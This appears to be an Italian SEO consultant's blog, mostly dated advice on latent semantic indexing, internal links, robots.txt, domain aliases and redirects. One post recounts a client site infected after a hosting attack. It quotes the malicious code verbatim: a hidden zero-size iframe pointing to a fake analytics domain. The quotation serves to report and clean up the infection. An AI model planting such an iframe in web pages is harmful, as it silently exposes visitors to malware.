WEBMASTERS LIFE

Diventa sempre più difficile ottimizzare i contenuti dei siti e ottenere dei posizionamenti importanti,  questo da quando Google ha implementato e applicato due strategie

1. analisi dei contenuti duplicati per la lotta allo spam (le pagine che hanno contenuti gia presenti nei suoi indici incappano spesso nella marcatura di contenuto duplicato quindi non indicizzate). Questo vale sia per contenuti presio da altri asiti che per contenuti presi da altre pagine del nostro sito.
   Approfondimento sui contenuti duplicati (risultati supplementari)
2. analisi del contenuto del sito e confronto col contenuto dei siti che parlano dello stesso argomento nel web (Glossario del sito e glossario del web su un determinato argomento). Questo algoritmo permette una migliore selezione dei siti da presentare come risultati delle SERP (pagine dei risultati di ricerca).  Sto parlando del Latent Semantic Indexing (LSI) . Indicizzazione semantica dei siti.

Video con una buona spiegazione su cosa sia e sulle implicazioni del Latent Semantic IIndexing

Tre (tools) strumenti per webmasters che vogliano ottimizzare il loro sito applicando le regole dell’ LSI nella scelta della parole / frasi chiave da usare.

1.  Glossario delle SERP. Questo strumento analizza i primi 100 risultati di google su una determinata parola chiave o frase chiave e fornisce l’elenco delle parole e frasi usate dai siti che Google ritiene importanti su quell’argomento (otteniamo praticamente una buona approssimazione del contenuto semantico usato da google per quella frase)

   LSI tool per la semantica dei risultati

   
    

2. Ricerche correlate.  Cercando una frase es. "cambio automatico" in fondo alla pagina di ricerca compaiono le ricerche correlate che forniscono altro indizio utile sulla semantica applicata da Google per la frase cercata.
   Da notare che le riceche correlate forniscono frasi che sono spesso contenute nei rislutati che si ottengono con lo strumento sopra (glossario delle SERP)
    
    
3. Glossario del sito. Un tool interessante che analizza tutte le pagine di primo livello del tuo sito e ne estrae le parole che hai usato fornendo il glossario del sito e permettendo di confrontarlo con il glossario semantico delle SERP su Google e TROVARE LE PAROLE FRASI CHIAVE  che non hai  usato e che sarebbe opportuno usare.
   LSI tool per la semantica del sito (glossario del sito)

 Key correlate a Latent Semantic Indexing: Lsa Latent semantic analysis, probabilistic latent semantic indexing,  indexing latent semantic analysis, latent semantic indexing seo, latent variable analysis

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I link per la navigazione fra le pagine di un sito sono chiamati INTERNAL LINKS (Links interni)

Uno degli aspetti importanti nell’ottimizzazione di un sito web è la matrice dei link interni. La struttura di navigazione del sito per il quale valgono alcune regole fondamentali

1. PROFONDITA DEI LINK i contenuti importanti del sito, per i quali vogliamo farci trovare devono essere raggiungibili al massimo con due click.
2. STRUTTURA AD ALBERO la struttura più performante è quella che partendo dalla home page del sito genera una serie di pagine di primo livello (raggiungibili con un link ) capostipidi di una eventuale sezione interna (minisito interno)
3. HOTLINK (LINK SEO) In ogni pagina del sito bisogna avere un link che torna al dominio
4. LINK TESTUALI CON ANCHOR TEXT i link più performati sono quelli testuali mentrre per i link su immagini diventa importante il contenuto del tag ALT dell’immagine

Un utile tools per i webmasters è la toolbar di Firefox  chiamata SEQUAKE che fra le sue funzioni fornisce l’elenco dei link interni ed esterni presenti in una pagina web segnalando in maniera molto utile anche i link nofollow.

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La pubblicazione del sito web

L’operazione di pubblicazione di un sito web è spesso ingiustamente trascurata dai webmasters ed è facile vedere dei siti con pagine in costruzione o peggio ancora siti dove è stata pubblicata esclusivemente la home page.

1. Vale la regola assoluta che un sito deve essere tenuto lontano dagli spider fino a che non sia terminato  sia come struttura che come inserimento dei contenuti.
2. Funziona anche il detto "Chi ben inizia è a metà dell’opera"

Tenere lontani gli spider è semplice quando il sito lo realizziamo in locale sul nostro computer e lo pubblichiamo solo quando è terminato.
Nel caso dei CMS come Joomla dove spesso i webmasters realizzano il sito online è indispensabile aggiungere un file robots.txt col comando di esclusione
User-agent: *
Disallow: /
inoltre è bene tenere il sito offline con l’apposito comando della configurazione

Perchè tenere il sito offline?
I motori di ricerca al momento dell’indicizazione si fanno un’idea dei contenuti del sito nel suo complesso, del glossario usatato dal sito, della sua struttura di link, ecc  e come si puo ben capire un sito incompleto fornisce un’immagine parziale che poi richiede tempo e lavoro per essere modificata a nostro favore.

Iniziare bene la pubblicazione sottintende una operazione di inserimento nei motori di ricerca, nelle directory, ecc . Attualmente il sistema migliore per pubblicare un sito è quello di farselo pubblicare da un’altro sito importante (alto PR, apprezzato dai motori, un buon Rank di Alexa, possibilmente sito anziano).  Questa pubblicazione avviene  tramite una piccola recensione o tramite un link testuale.

Forzare la pubblicazione e l’indicizzazione tramite Adwords.
Adwords funziona anche come strumento di pubblicazione siti.

• registro il dominio
• realizzo una o piu pagine del sito o una o piu landing
• attivo una campagna Adwords con  i link che puntano a questo dominio
• la conseguenza è che Google deve per forza indicizzare il sito per far funzionare la campagna

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Già abbiamo evidenziato i problemi di indicizzazione che porta un uso non adeguato del settaggio degli alias del dominio ( Indicizzazione a macchie di Leopardo ).

Aggiungiamo un altro problema che potrebbe essere collegato.
Abbiamo un dominio sul provider Register e lo passiamo sul provider Tophost controlliamo l’indicizzazione e ci accorgiamo che le pagine interne del sito sono indicizzate mentre la home in precedenza indicizzata adesso è scomparsa.

La causa piu probabile potrebbe essere imputabile al passaggio dello spider in un momento in cui il server era out oppure i server DNS non erano ancora aggiornati.

Pero….
Controlliamo su www.bing.com il nuovo motore Microsoft e troviamo il sito posizionato ma con la versione alias del dominio cioè senza www
A questo punto facciamo il controllo e su tophost non è attivato di default l’alias senza www questo comporta che sul motore  bing ho pagine indicizzate che danno errore 404 (non si vedono) e mi evidenzia una seconda possibilità che giustifica la mancata indicizzazione della home

Tabella dei provider e del loro settaggio alias

 Terapia:
Attendere il prossimo passaggio dello spider tutto dovrebbe andare a posto
Eventuale riproposizione della site map
Se ci sono pagine interne oltre alla home indicizzate in maniera errata si puo usare il file .htaccess per fare dei "Redirect permanent"

Seguendo le linee guida dettate da Google si ottengono dei siti ben ottimizzati sia per gli spider che per gli utenti, ma questo è sufficiente per ottenere posizionamenti interessanti  e adeguati a portare visibilità?

Da quando è di moda la link popularity tutti i guru si sono sbrigati a dare un peso molto basso ai fattori di  ottimizzazione detti onsite (intendento struttura del sito,  struttura della matrice di link interna, ottimizzazione dei contenuti della pagina).

Alcuni capisaldi provenienti dall’esperienza di tanti siti realizzati e ottimizzati.

1. ottimizzare i nomi dei file affinche contengano 2 o 3 parole chiave è importante
2. ottimizzare la struttura dei link di un sito facendo si da raggiungere i contenuti importanti con un solo (massimo 2) link è importante
3. ottimizzare la distribuzione dei contenuti ( o anche solo delle immagini) in cartelle è importante
4. ottimizzare la distribuzione dei contenuti testuali all’interno della pagina è importante
5. ottimizzare le evidenziazioni dei contenuti testuali all’interno della pagina è importante
6. ottimizzare le immagini e gli alt delle stesse è importante specialmente quando sull’immagine inseriamo un link
7. testo di ancoraggio dei link, ec.. …..

Due però sono le cose più importanti in assoluto

• prima di ottimizzare dedicare molto tempo allo studio delle parole e delle frasi chiave da usare nel sito (SU COSA VOGLIO FARMI TROVARE)
• ottimizzare il marketing della pagina (OTTIMIZZANDO MI FACCIO TROVARE MA SE POI NON SONO APPETIBILE?)

Rispondo adesso alla domanda se conviene ancora dedicare tanto tempo all’ottimizzazione del sito.

Ebbene la risposta è SI CONVIENE 

Ottimizzazione sito web realizzato con "Web Page Maker"

es. sito www.supportoinformatico.com  Ristrutturazione

Controllo iniziale: 1 unico posizionamento su Google
Azione: studio delle parole/frasi chiave e ottimizzazione struttura e contenuti (nessuna azione di link popularity )
Risultato: dopo la ristrutturazione passati pochi giorni decine di posizionamenti nei primi dieci posti su Google per frasi sulla long tail ( "assistenza computer roma eur" quinto su 350.000 ma anche per frasi competitive ("realizzazione reti wifi roma" secondo su 59.000, "assistenza computer di domenica roma" quarto su 97.000) e decine di altri posizionamenti

 
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Il sito di un cliente da 2 giorni non visibile ricompare con un bel virus

• il sito del provider stesso è stato off line evidentemente ha subito un brutto attacco
• controllo fra i compagni di IP del dominio del mio cliente e verifico vari siti off line che ancora non hanno ripristinato
• entrando nel sito parte l’antivirus che segnala un virus

A questo punto analizzo il codice e sorpresa un bel iframe che si maschera da codice di analytics vado a vedere questo ipotetico analytics.net e si capisce subito che niente ha a vedere con Google (evidentemente Google non ha registrato il altrimenti questo dominio non farebbe spam)

Codice incriminato
<iframe src="http://m-analytics.net/arwe/?736361acd09ca9717c9462514beb5205" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

E’ la prima volta che mi capita questo iframe
Il danno al cliente è notevole e puo diventare una catastrofe se non autorizza in fretta il trasferimento
Inoltre vanno pulite tutte le pagine comprese quelle in lingua e quelle dei 2 blog appoggiati sullo stesso dominio.

CERTO CHE IL WEB DIVENTA SEMPRE PIU UNA JUNGLA

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Ho ristrutturato e ottimizzato il sito di un cliente nel settore dei prestiti mutui e convenzioni.
Passano i giorni e nel controllare se compare su google (site:www.nomesitolungo.it e anche nomesitolungo.it) mi accorgo che il cliente ha anche:
nomesitolungo.com
nomesitolungo.biz
nomesitolungo.org
nomesitolungo.net
nomesitolungo.info
nomesitolungo.us
tutti reindirizzano sul dominio it ma qualcosa non quadra perche Google ha indicizzato un paio di pagine sul com, un paio di pagine su org ecc. Evidentemente il reindirizzamento è stato fatto male ho il cliente incautamente ha ritenuto di pubblicare la fotocopia del sito negli altri domini rovinando tutto il lavoro di ottimizzazione.

Questa strana indicizzazione porta come conseguenza che:

1. il dominio base .it risulta indicizzato solo per la home (con risultati molto importanti, ma solo di una pagina) 
2. ritengo che in mancanza di un rapido intervento l'indicizzazione del dominio .it si fermi alla home vanificando tutto il lavoro

A questo punto ho indagato presso il cliente chiedendo di avere i dati FTP degli altri domini per fare un reindirizzamento manuale con un link nella  pagina index di ogni singolo dominio.

Ebbene le indagini successive e il colloquio col webmaster  hanno portato alla scoperta che tutti i domini sono stati allocati come Alias di quello principale e questo porta alla indicizzazione a macchie di leopardo.

Terapia :
Gestire con redirect tutti i domini escluso www.nomesitolungo.it  (il principale) e nomesitolungo.it senza www  (perche sta usandolo per le campagne Adwords)

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giovedì 23 aprile 2009

La ditta sistema il proprio sito aziendale

Uno dei servizi che offro ai miei clienti è quello di fornire:

• Consulenza per rifare il sito web aziendale da soli nell’ottica dei motori  di ricerca e  affinche renda
• Istruzioni dirette con affiancamento presso la loro sede o in telefonia con skype e desktop remoto
• controllo e correzioni in corso d’opera affinche non si generino problemi
• aiuto alla pubblicazione

Per poter realizzare questo progetto è necessario che all’interno della ditta sia presente una o più persone che sappiano un po di grafica e di web. Inoltre è necessario avere a disposizione un qualche programma per editare e realizzare le pagine.

Poche regole di ottimizzazione, qualche ora di istruzioni, un po di pazienza e l’attenzione massima a salvare quello di buono che il sito già possiede (sempre come visibilità su internet)  e il gioco è fatto.

A qualcuno potrà sembrare impossibile ma posso assicurare che non solo è possibile ma ha volte auspicabile.
Il vantaggio più grande è che si creano competenze interne utili all’aggiornamento del sito web.
Naturalmente si tratta di siti semplici ma sufficienti a fare business e ha portare soddisfazioni.

Con questo sistema ho aiutato:
ditte che hanno realizzato o modificato siti di ecommerce con Incomedia WebsiteX5
ditte  che hanno realizzato il loro sito aziendale
ditte che hanno ristrutturato siti invisibili sui motori che adesso funzionano

Oggi ho fatto 3 ore di istruzione presso la sede di una ditta che in precedenza aveva realizzato il sito con questa strategia. Questo intervento dopo 2 anni perche hanno perso l’operatrice interna che aveva imparato, trasferitasi  presso un’altra città.  A riprova che il sistema funziona.

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Un mio cliente che accede per la prima volta al servizio di consulenza sullo scambio di link pubblicitari con altri siti mi gira questa email:

Caro Proprietario del Sito,
Vorremmo acquistare spazi pubblicitari sul vostro sito per i nostri clienti.  Qualora fosse interessato, la prego di volermi contattare per discutere la proposta nei dettagli .

La ringrazio e la saluto cordialmente,
M….. D……

Trattasi di una classica abboccata per siti particolari (l’indirizzo di provenienza naturalmente è del tipo m…..@gmail.com ) ma per far capire al cliente rispondo alla richiesta inviando anche al cliente stesso la risposta    Leggi il resto di questo articolo »